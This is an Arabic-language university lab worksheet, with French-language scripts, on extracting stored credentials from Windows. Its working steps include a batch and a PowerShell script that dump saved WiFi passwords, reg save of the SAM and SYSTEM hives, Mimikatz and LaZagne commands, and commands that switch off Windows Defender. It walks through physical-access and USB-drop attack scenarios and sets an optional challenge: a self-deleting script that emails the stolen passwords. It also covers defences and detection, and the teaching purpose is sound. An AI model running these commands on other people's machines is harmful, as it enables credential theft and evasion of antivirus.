المختبر 3.1: استخراج جماعي لبيانات الاعتماد
أهداف التعلم
في نهاية هذا المختبر، ستكون قادرًا على:
- استخراج كلمات مرور WiFi المخزنة على ويندوز
- استرجاع كلمات مرور المتصفحات
- تفريغ تجزئات NTLM لحسابات ويندوز
- فهم كيفية تخزين ويندوز لبيانات الاعتماد
- تقييم مخاطر الأمان المتعلقة بتخزين كلمات المرور
- تطبيق تدابير حماية مناسبة
المدة المقدرة
35 دقيقة
المتطلبات المسبقة
- جهاز افتراضي ويندوز 10/11 مع بعض كلمات المرور المحفوظة
- متصفح مع كلمات مرور مسجلة (كروم، فايرفوكس أو إيدج)
- بعض شبكات WiFi المسجلة
- PowerShell
السياق المهني
في أمن المعلومات، استخراج بيانات الاعتماد هو خطوة حاسمة في:
- اختبارات الاختراق المصرح بها
- التحقيق الجنائي الرقمي
- تقييم وضع الأمان
- توعية المستخدمين بالمخاطر
هذا المختبر يوضح لماذا:
- الوصول المادي لمدة دقيقتين = جميع كلمات المرور مسروقة
- مدراء كلمات المرور ضروريون
- تشفير القرص أمر حيوي
- لا تترك جهاز الكمبيوتر بدون مراقبة
⚠️ تحذير أخلاقي وقانوني - مهم جدًا
هذا المختبر يعلم تقنيات قوية للغاية
الأدوات والتقنيات في هذا المختبر تمكن من استخراج جميع كلمات المرور المخزنة على نظام ويندوز في ثوانٍ.
مسموح فقط:
- على جهازك الافتراضي الخاص للاختبار
- على الأنظمة التي تملكها
- كجزء من اختبار اختراق بعقد موقع
- للتحقيق الجنائي الرقمي بتفويض قانوني
ممنوع بشدة:
- على جهاز كمبيوتر شخص آخر بدون إذن كتابي
- لسرقة كلمات المرور
- للوصول إلى حسابات لا تملكها
- للإضرار أو التجسس أو الاختراق
العواقب القانونية:
- سرقة كلمات المرور = جريمة خطيرة (قانون العقوبات المادة 342.1)
- السجن وغرامات كبيرة
- سجل جنائي دائم
- الطرد الأكاديمي
- الملاحقة المدنية
بإجراء هذا المختبر، أنت تتعهد:
- باستخدام هذه التقنيات بشكل قانوني وأخلاقي فقط
- بعدم استخراج بيانات اعتماد الآخرين أبدًا
- بتوعية محيطك بالمخاطر
- بحماية أنظمتك الخاصة
الجزء 1: استخراج كلمات مرور WiFi
الخطوة 1.1: تذكير - الطريقة اليدوية
أنت تعرف بالفعل هذا الأمر من المختبر 1.4:
netsh wlan show profiles
netsh wlan show profile name="MonWiFi" key=clear
الحد: أمر واحد لكل شبكة = ممل!
الخطوة 1.2: سكربت استخراج تلقائي
أنشئ ملف wifi_dump.bat:
@echo off
echo ============================================
echo EXTRACTION MASSIVE - Mots de passe WiFi
echo ============================================
echo.
cd %temp%
netsh wlan show profiles | findstr "Profil Tous" > wifi_names.txt
echo [RESEAUX WIFI TROUVES]
type wifi_names.txt
echo.
echo.
echo [EXTRACTION DES MOTS DE PASSE...]
echo. > wifi_passwords.txt
for /f "tokens=2 delims=:" %%i in ('type wifi_names.txt') do (
set "ssid=%%i"
setlocal enabledelayedexpansion
set "ssid=!ssid:~1!"
echo ========================================== >> wifi_passwords.txt
echo SSID: !ssid! >> wifi_passwords.txt
echo ========================================== >> wifi_passwords.txt
netsh wlan show profile name="!ssid!" key=clear | findstr "Contenu" >> wifi_passwords.txt
echo. >> wifi_passwords.txt
endlocal
)
echo [RESULTATS]
type wifi_passwords.txt
echo.
echo.
echo Fichier sauvegarde: %temp%\wifi_passwords.txt
pause
نفذ كمسؤول:
wifi_dump.bat
بوم! في بضع ثوانٍ:
- جميع شبكات WiFi مدرجة
- جميع كلمات المرور مستخرجة
- محفوظة في ملف!
أسئلة:
- كم عدد شبكات WiFi التي وجدتها؟
- كم عدد كلمات المرور التي استخرجتها؟
- كم استغرقت العملية؟
الخطوة 1.3: نسخة PowerShell (أكثر أناقة)
سكربت PowerShell wifi_extract.ps1:
Write-Host "=== EXTRACTION WIFI ===" -ForegroundColor Cyan
$profiles = netsh wlan show profiles | Select-String "Profil Tous" | ForEach-Object {
$_ -replace ".*:\s+", ""
}
$results = @()
foreach ($profile in $profiles) {
$profile = $profile.Trim()
Write-Host "Extraction: $profile" -ForegroundColor Yellow
$password = netsh wlan show profile name="$profile" key=clear |
Select-String "Contenu de la clé" |
ForEach-Object { $_ -replace ".*:\s+", "" }
$results += [PSCustomObject]@{
SSID = $profile
Password = if($password) {$password} else {"(Pas de mot de passe)"}
}
}
$results | Format-Table -AutoSize
$results | Export-Csv -Path "$env:TEMP\wifi_credentials.csv" -NoTypeInformation
Write-Host "`nSauvegarde: $env:TEMP\wifi_credentials.csv" -ForegroundColor Green
نفذ:
powershell -ExecutionPolicy Bypass -File wifi_extract.ps1
النتيجة: جدول منسق + ملف CSV!
أسئلة: 4. هل تفضل السكربت BAT أم PowerShell؟ 5. لماذا قد يستخدم المهاجم هذه التقنية؟
الجزء 2: استخراج كلمات مرور المتصفحات
الخطوة 2.1: فهم التخزين
المتصفحات تخزن كلمات المرور:
- كروم: قاعدة بيانات SQLite مشفرة
- فايرفوكس: قاعدة بيانات SQLite
- إيدج: نفس كروم (كروميوم)
الموقع:
- كروم:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data - فايرفوكس:
%APPDATA%\Mozilla\Firefox\Profiles\ - إيدج:
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
التشفير:
- Windows Data Protection API (DPAPI)
- قابل لفك التشفير إذا كان لديك وصول إلى حساب المستخدم!
الخطوة 2.2: الطريقة اليدوية - كروم (عرض)
عرض كلمات المرور عبر كروم:
- افتح كروم
chrome://settings/passwords- انقر على العين لرؤية كلمة مرور
- كلمة مرور ويندوز مطلوبة!
الحد: واحدة تلو الأخرى، واجهة رسومية
لكن مع الوصول إلى الملفات...
الخطوة 2.3: سكربت PowerShell - استخراج كروم
مهم: يجب إغلاق كروم!
سكربت chrome_passwords.ps1:
# Vérifier si Chrome est installé
$chromePath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data"
if (!(Test-Path $chromePath)) {
Write-Host "Chrome n'est pas installé ou pas de mots de passe" -ForegroundColor Red
exit
}
Write-Host "=== EXTRACTION MOTS DE PASSE CHROME ===" -ForegroundColor Cyan
Write-Host "ATTENTION: Ceci est une DEMONSTRATION!" -ForegroundColor Yellow
Write-Host ""
# Copier la base de données (Chrome doit être fermé!)
$tempDb = "$env:TEMP\ChromeLoginData"
Copy-Item $chromePath $tempDb -Force
Write-Host "Base de donnees copiee" -ForegroundColor Green
Write-Host "Localisation: $chromePath" -ForegroundColor Yellow
Write-Host ""
Write-Host "CONTENU (apercu):" -ForegroundColor Cyan
# Afficher quelques infos (sans déchiffrement complet pour ce lab basique)
# Pour déchiffrement complet: Utiliser LaZagne ou outil spécialisé
Write-Host "- Fichier SQLite trouve"
Write-Host "- Taille: $((Get-Item $chromePath).Length / 1KB) KB"
Write-Host "- Derniere modification: $((Get-Item $chromePath).LastWriteTime)"
Write-Host ""
Write-Host "Pour extraction complete, utiliser LaZagne (voir Partie 4)" -ForegroundColor Yellow
Remove-Item $tempDb -Force
ملاحظة: فك تشفير DPAPI معقد. سنستخدم أداة مؤتمتة في الخطوة التالية.
الجزء 3: تجزئات NTLM لحسابات ويندوز
الخطوة 3.1: فهم تجزئات NTLM
ويندوز يخزن كلمات المرور على شكل تجزئات:
- ملف:
C:\Windows\System32\config\SAM - تجزئة NTLM (NT LAN Manager)
- غير قابل للقراءة مباشرة (ملف مقفل)
لكن مع صلاحيات SYSTEM أو وضع الاسترداد...
الخطوة 3.2: طريقة Reg Save (تتطلب صلاحيات مدير)
نفذ cmd كمدير:
reg save HKLM\SAM C:\Users\%USERNAME%\Desktop\sam_backup
reg save HKLM\SYSTEM C:\Users\%USERNAME%\Desktop\system_backup
النتيجة: ملفات SAM وSYSTEM محفوظة!
هذه الملفات تحتوي على:
- جميع حسابات المستخدمين المحليين
- تجزئات NTLM الخاصة بهم
- يمكن كسرها دون اتصال!
أسئلة: 6. هل نجحت في حفظ SAM وSYSTEM؟ 7. ما هو حجم هذه الملفات؟
الخطوة 3.3: استخراج باستخدام Mimikatz (عرض)
Mimikatz هو الأداة المرجعية لاستخراج بيانات اعتماد ويندوز.
تحذير: برامج مكافحة الفيروسات ستكتشفه! هذا طبيعي.
أوامر Mimikatz (عرض مفاهيمي):
privilege::debug
token::elevate
lsadump::sam
النتيجة: جميع تجزئات NTLM للحسابات معروضة!
ملاحظة: لهذا المختبر، لن نقوم بتثبيت Mimikatz (يكتشف كبرمجية خبيثة). سنستخدم LaZagne بدلاً من ذلك (أقل اكتشافًا).
الجزء 4: LaZagne - الأداة النهائية (التثبيت والاستخدام)
الخطوة 4.1: ما هو LaZagne؟
LaZagne = أداة بايثون مفتوحة المصدر تستخرج كل شيء:
- كلمات مرور WiFi
- كلمات مرور المتصفحات (كروم، فايرفوكس، إيدج، أوبرا، إلخ.)
- كلمات مرور البريد الإلكتروني (Outlook، Thunderbird)
- كلمات مرور FTP (FileZilla)
- بيانات اعتماد Git، SVN
- بيانات اعتماد قواعد البيانات
- وأكثر بكثير!
في أمر واحد فقط!
الخطوة 4.2: التحميل
الخيار A: النسخة المجمعة مسبقًا (موصى به لهذا المختبر)
- اذهب إلى: https://github.com/AlessandroZ/LaZagne/releases
- حمل
lazagne.exe(نسخة ويندوز المستقلة)
الخيار B: من المصدر (إذا كان بايثون مثبتًا)
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/Windows
python laZagne.py all
تحذير: برامج مكافحة الفيروسات ستقوم على الأرجح بحظره! طبيعي، إنها أداة "هجومية".
الخطوة 4.3: تعطيل Windows Defender مؤقتًا
لاستخدام LaZagne، يجب تعطيل Defender:
PowerShell كمدير:
Set-MpPreference -DisableRealtimeMonitoring $true
أو عبر الواجهة:
- الإعدادات → الخصوصية والأمان → أمان ويندوز
- الحماية من الفيروسات والتهديدات
- إدارة الإعدادات
- تعطيل الحماية في الوقت الحقيقي
أضف استثناء:
Add-MpPreference -ExclusionPath "C:\Users\$env:USERNAME\Downloads"
أسئلة: 8. هل نجحت في تعطيل Defender؟ 9. لماذا يكتشف Defender LaZagne؟
الخطوة 4.4: تنفيذ LaZagne - استخراج كامل
الأمر السحري:
lazagne.exe all
انتظر 10-30 ثانية...
النتيجة المعروضة:
########## User: VotreNom ##########
------------------- Wifi passwords -------------------
[+] SSID: MonWiFi_5G
Password: SuperSecret123!
[+] SSID: Bureau_WiFi
Password: Entreprise2024
------------------- Chrome passwords -------------------
[+] URL: https://facebook.com
Username: votreemail@example.com
Password: MotDePasseFacebook123
[+] URL: https://gmail.com
Username: vous@gmail.com
Password: GmailPassword456!
------------------- Firefox passwords -------------------
[+] URL: https://github.com
Username: votrecompte
Password: GitHub789Pass
------------------- System Hash -------------------
[+] Username: Administrateur
Hash: aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
[+] 15 passwords found!
واو! جميع كلمات المرور بنص واضح!
الخطوة 4.5: الحفظ في ملف
لحفظ النتائج:
lazagne.exe all > C:\Users\%USERNAME%\Desktop\ALL_PASSWORDS.txt
أو بصيغة JSON (منظم):
lazagne.exe all -oJ -output C:\Users\%USERNAME%\Desktop
ملف تم إنشاؤه: credentials.json مع كل شيء!
أسئلة: 10. كم عدد كلمات المرور التي وجدها LaZagne؟ 11. هل فوجئت ببعض كلمات المرور التي نسيتها؟ 12. كم استغرقت عملية الاستخراج الكاملة؟
الجزء 5: سيناريوهات هجوم حقيقية
الخطوة 5.1: سيناريو "دقيقتان من الوصول المادي"
الوضع:
- الضحية تذهب إلى الحمام (دقيقتان)
- الكمبيوتر غير مقفل
- المهاجم لديه وصول مادي
إجراءات المهاجم:
الدقيقة 1:
- إدخال مفتاح USB مع
lazagne.exe - تعطيل Defender (5 ثوانٍ):
powershell Set-MpPreference -DisableRealtimeMonitoring $true - تنفيذ LaZagne (10 ثوانٍ):
E:\lazagne.exe all > E:\pwds.txt
الدقيقة 2: 4. انتظار النتائج (20 ثانية) 5. إزالة مفتاح USB 6. إعادة تفعيل Defender:
powershell Set-MpPreference -DisableRealtimeMonitoring $false
النتيجة:
- جميع كلمات المرور مسروقة
- لا أثر مرئي
- الضحية لا تلاحظ شيئًا!
أسئلة: 13. هل يبدو لك هذا السيناريو واقعيًا؟ 14. هل سبق لك أن ذهبت إلى الحمام وترك جهاز الكمبيوتر الخاص بك غير مقفل؟
الخطوة 5.2: سيناريو "البرمجيات الخبيثة"
إذا تم تنفيذ برمجية خبيثة على جهاز الكمبيوتر الخاص بك:
- تحميل LaZagne من خادم المهاجم
- تنفيذ في الخلفية (غير مرئي)
- استخراج جميع بيانات الاعتماد
- إرسال إلى خادم C&C (القيادة والتحكم)
- حذف نفسه (يمحو الآثار)
الوقت الكلي: 30 ثانية قابل للكشف: صعب جدًا إذا تم بشكل جيد!
الخطوة 5.3: سيناريو "USB موجود"
هجوم كلاسيكي:
- المهاجم يترك مفتاح USB في موقف السيارات/الكافيتيريا
- التسمية: "رواتب 2024 - سري"
- الضحية الفضولية تدخله في جهاز الكمبيوتر الخاص بها
- التشغيل التلقائي أو الضحية تنقر نقرًا مزدوجًا على الملف
- السكربت ينفذ LaZagne
- يرسل النتائج عبر البريد الإلكتروني إلى المهاجم
الضحية: ترى فقط "ملف تالف" الواقع: جميع كلمات المرور مسروقة!
أسئلة: 15. هل ستلتقط مفتاح USB وجدته على الأرض؟ 16. ماذا تفعل إذا وجدت مفتاح USB؟
الجزء 6: التأثير والعواقب
الخطوة 6.1: ماذا يمكن للمهاجم أن يفعل؟
مع جميع كلمات المرور الخاصة بك، يمكن للمهاجم:
البريد الإلكتروني:
- قراءة جميع رسائلك الإلكترونية
- إرسال رسائل بريد إلكتروني باسمك
- إعادة تعيين كلمات مرور أخرى
الشبكات الاجتماعية:
- انتحال هويتك
- النشر باسمك
- الوصول إلى رسائلك الخاصة
البنك:
- تسجيل الدخول إلى حسابك المصرفي عبر الإنترنت
- إجراء تحويلات
- سرقة المال
المهني:
- الوصول إلى شبكة الشركة
- سرقة الأسرار الصناعية
- اختراق الزملاء
كل شيء!
الخطوة 6.2: سلسلة الهجوم الكاملة
مثال واقعي:
- سرقة كلمات المرور (هذا المختبر)
- البريد الإلكتروني مخترق → إعادة تعيين حسابات أخرى
- الشبكات الاجتماعية → الهندسة الاجتماعية على جهات الاتصال
- VPN الشركة → الوصول إلى الشبكة المؤسسية
- الخوادم الداخلية → استخراج البيانات
- برمجيات الفدية → التشفير والمطالبة بفدية
كل هذا يبدأ بـ: دقيقتان من الوصول المادي!
أسئلة: 17. ما هو التأثير إذا تم سرقة جميع كلمات المرور الخاصة بك اليوم؟ 18. كم من الوقت سيستغرق التعافي؟
الخطوة 6.3: تمرين - تقييم شخصي
احسب عدد الحسابات التي لديك:
- البريد الإلكتروني: ___
- الشبكات الاجتماعية: ___
- الحسابات المصرفية/المالية: ___
- الحسابات المهنية: ___
- أخرى مهمة: ___
- المجموع: ___
إذا كانت مخزنة في المتصفح: جميعها قابلة للسرقة في 30 ثانية!
الجزء 7: تدابير الحماية
الخطوة 7.1: لا تخزن أبدًا كلمات المرور في المتصفح
الحل 1: مدير كلمات مرور مخصص
التوصيات:
- Bitwarden (مجاني، مفتوح المصدر)
- 1Password (مدفوع، ممتاز)
- KeePassXC (مجاني، محلي)
المزايا:
- تشفير قوي
- كلمة مرور رئيسية مطلوبة
- غير قابلة للاستخراج بواسطة LaZagne
- توليد كلمات مرور قوية
- مزامنة آمنة
الخطوة 7.2: BitLocker إلزامي
BitLocker يحمي من:
- استخراج الملفات في وضع الاسترداد
- سرقة اللابتوب
- الوصول المادي
مع تفعيل BitLocker:
- لا يمكن لـ LaZagne التنفيذ بدون كلمة مرور فك التشفير
- ملفات SAM/SYSTEM غير قابلة للوصول
- حماية قصوى
قم بالتفعيل الآن:
# Vérifier statut
Get-BitLockerVolume
# Activer (Windows Pro)
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256 -UsedSpaceOnly
الخطوة 7.3: المصادقة الثنائية (2FA)
حتى إذا تم سرقة كلمة المرور:
- 2FA يمنع الاتصال
- رمز إضافي مطلوب
- على الهاتف أو مفتاح مادي
قم بتفعيل 2FA في كل مكان:
- البريد الإلكتروني (حرج!)
- البنك
- الشبكات الاجتماعية
- الحسابات المهنية
تطبيقات 2FA:
- Microsoft Authenticator
- Google Authenticator
- Authy
الخطوة 7.4: القفل التلقائي
إعدادات ويندوز:
# Verrouillage après 1 minute
powercfg /setacvalueindex SCHEME_CURRENT SUB_VIDEO VIDEOCONLOCK 60
powercfg /setactive SCHEME_CURRENT
أو يدويًا:
- الإعدادات → الحسابات → خيارات تسجيل الدخول
- التأخير قبل إعادة الاتصال: 1 دقيقة
دائمًا: Windows + L عند الابتعاد!
الخطوة 7.5: مكافحة الفيروسات وEDR
Windows Defender:
- الحفاظ على التفعيل دائمًا
- إلا للمختبرات المحددة
- إعادة التفعيل فورًا بعد ذلك
الشركات:
- EDR (الكشف والاستجابة للنقاط النهائية)
- يكتشف تنفيذ LaZagne، Mimikatz
- ينبه فريق الأمان
الجزء 8: الكشف والتنظيف
الخطوة 8.1: التحقق مما إذا كان هناك اختراق
علامات استخراج بيانات الاعتماد:
سجلات ويندوز:
# Chercher exécutions suspectes
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} |
Where-Object {$_.Message -like "*password*" -or $_.Message -like "*credential*"} |
Select-Object TimeCreated, Message | Format-List
الملفات المشبوهة:
# Chercher LaZagne ou outils similaires
Get-ChildItem -Path C:\ -Recurse -Filter "lazagne.exe" -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\ -Recurse -Filter "mimikatz.exe" -ErrorAction SilentlyContinue
حجر Defender:
# Vérifier quarantaine
Get-MpThreatDetection | Select-Object ThreatName, InitialDetectionTime
الخطوة 8.2: ماذا تفعل إذا كان هناك اختراق؟
الإجراءات الفورية:
- قطع الاتصال بالإنترنت (منع استخراج البيانات)
- تغيير جميع كلمات المرور (من جهاز آخر آمن)
- تفعيل 2FA في كل مكان
- فحص كامل لمكافحة الفيروسات
- التحقق من سجلات البنك والبريد الإلكتروني
- إخطار الشركة (إذا كان جهاز كمبيوتر مهني)
الخطوة 8.3: إعادة التعيين الكاملة (إذا لزم الأمر)
إذا كان هناك شك جدي:
- نسخ احتياطي للبيانات المهمة (تم التحقق من سلامتها)
- إعادة تثبيت كاملة لويندوز
- تغيير جميع كلمات المرور
- مراقبة الحسابات لمدة 6 أشهر
التسليمات
لتسليم:
-
وثيقة التحليل (Word/PDF، 3-4 صفحات):
- إجابات على 18 سؤال
- لقطة شاشة لكلمات مرور WiFi المستخرجة (مموهة!)
- نتائج LaZagne (مجهولة!)
- تحليل لوضعك الشخصي
-
لقطات شاشة (الحد الأدنى 5):
- سكربت wifi_dump أثناء العمل
- نتيجة LaZagne (عناوين URL وأسماء المستخدمين موافق، كلمات المرور مخفية!)
- ملفات SAM/SYSTEM محفوظة
- إعداد BitLocker
- مدير كلمات المرور مثبت
-
خطة عمل شخصية (صفحة واحدة):
- الحالة الحالية لكلمات المرور الخاصة بك
- المخاطر المحددة
- الإجراءات التي يجب اتخاذها (الأولوية)
- الجدول الزمني للتنفيذ
-
التوعية (اختياري):
- أنشئ ملصقًا أو عرضًا تقديميًا لتوعية محيطك
- "لماذا لا تترك جهاز الكمبيوتر الخاص بك بدون مراقبة"
معايير التقييم
| المعيار | النقاط |
|---|---|
| استخراج بيانات اعتماد WiFi بنجاح | 20% |
| فهم LaZagne وكيفية عمله | 20% |
| تحليل المخاطر والسيناريوهات الهجومية | 20% |
| خطة عمل شخصية واقعية | 20% |
| جودة الوثائق واللقطات | 15% |
| التوعية (اختياري) | +5% مكافأة |
أوامر مرجعية سريعة
استخراج WiFi
netsh wlan show profiles
netsh wlan show profile name="SSID" key=clear
تعطيل Defender
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Tools"
حفظ SAM
reg save HKLM\SAM sam_backup
reg save HKLM\SYSTEM system_backup
LaZagne
lazagne.exe all
lazagne.exe all > passwords.txt
lazagne.exe all -oJ
BitLocker
Get-BitLockerVolume
Enable-BitLocker -MountPoint "C:" -EncryptionMethod XtsAes256
استكشاف الأخطاء وإصلاحها
المشكلة: Defender يحظر LaZagne
الحل:
Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath "C:\Downloads"
المشكلة: "الوصول مرفوض" لـ SAM
الحل: نفذ cmd كمدير.
المشكلة: LaZagne لا يجد أي كلمات مرور
الحل:
- تحقق من أن لديك كلمات مرور محفوظة
- أغلق جميع المتصفحات قبل التنفيذ
- بعض مدراء كلمات المرور غير مدعومين
الذهاب إلى أبعد من ذلك (اختياري)
التحدي 1: كسر التجزئة
استخدم John the Ripper أو Hashcat لكسر تجزئات NTLM المستخرجة.
التحدي 2: سكربت استخراج مؤتمت
أنشئ سكربت يقوم بـ:
- تعطيل Defender
- تنفيذ LaZagne
- إرسال النتائج عبر البريد الإلكتروني
- إعادة تفعيل Defender
- حذف نفسه
(للفهم فقط، لا تستخدم بشكل ضار!)
التحدي 3: حماية متقدمة
قم بتنفيذ:
- Credential Guard (ويندوز)
- Windows Hello for Business
- الشهادات بدلاً من كلمات المرور
- البطاقات الذكية
موارد إضافية
- LaZagne GitHub
- Mimikatz Documentation
- DPAPI Explained (Microsoft)
- Credential Manager (Windows)
- OWASP Password Storage Cheat Sheet
الخاتمة
هذا المختبر علمك:
- كيف يخزن ويندوز بيانات الاعتماد
- تقنيات استخراج جماعي لكلمات المرور
- استخدام LaZagne لاستخراج كامل
- سيناريوهات هجوم واقعية
- تدابير حماية فعالة
الدروس الحرجة:
- دقيقتان من الوصول = جميع كلمات المرور مسروقة
- لا تخزن أبدًا كلمات المرور في المتصفح
- مدير كلمات مرور مخصص = ضروري
- BitLocker = الحماية القصوى
- 2FA = حماية إذا تم سرقة كلمة المرور
- القفل التلقائي = عادة يجب اكتسابها
الرسالة النهائية:
أنت تعرف الآن مدى سهولة سرقة جميع كلمات المرور من جهاز كمبيوتر.
احمِ نفسك:
- قم بتثبيت مدير كلمات مرور الآن
- فعل 2FA على جميع حساباتك اليوم
- لا تترك جهاز الكمبيوتر الخاص بك بدون مراقبة أبدًا
- وعي محيطك
مع القوة الكبيرة تأتي مسؤولية كبيرة.
استخدم هذه المعرفة للخير: احمِ نفسك واحمِ الآخرين.
مختبر تم تطويره في إطار دورة أنظمة التشغيل - الوحدة 3
⚠️ التذكير النهائي: هذه التقنيات للتعلم فقط. الاستخدام الضار = جريمة خطيرة.